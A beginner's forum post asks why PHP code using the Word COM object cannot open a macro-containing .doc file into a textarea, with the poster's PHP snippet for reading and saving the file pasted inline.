    Hai frnds i am avani here,actually 1.i amhaving one word document which contains macros i wann to open it in textarea.. 2.i am able to open the word document which is not containing macros 3.i am not able to open the document which contains macros 4.i am using below code 5.please do help me anyone i am thinking its some what impossible { //echo $aud; $filename = 'C:/xampp/htdocs/mts/sites/default/files/a.doc'; //echo $filename; if(isset($_REQUEST['Save'])){ $somecontent = stripslashes($_POST['somecontent']); // Let's make sure the file exists and is writable first. if (is_writable($filename)) { // In our example we're opening $filename in append mode. // The file pointer is at the bottom of the file hence // that's where $somecontent will go when we fwrite() it. if (!$handle = fopen($filename, 'w')) { echo "Cannot open file ($filename)"; exit; } // Write $somecontent to our opened file. if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote ($somecontent) to file ($filename) - Continue - "; fclose($handle); } else { echo "The file $filename is not writable"; } } else{ // get contents of a file into a string $handle = fopen($filename, "r"); $somecontent = fread($handle, filesize($filename)); $word = new COM("word.application") or die ("Could not initialise MS Word object."); $word-Documents-Open(realpath("$filename")); // Extract content. $somecontent = (string) $word-ActiveDocument-Content; //echo $somecontent; $word-ActiveDocument-Close(false); $word-Quit(); $word = null; unset($word); fclose($handle); } ? Edit file -------- ?

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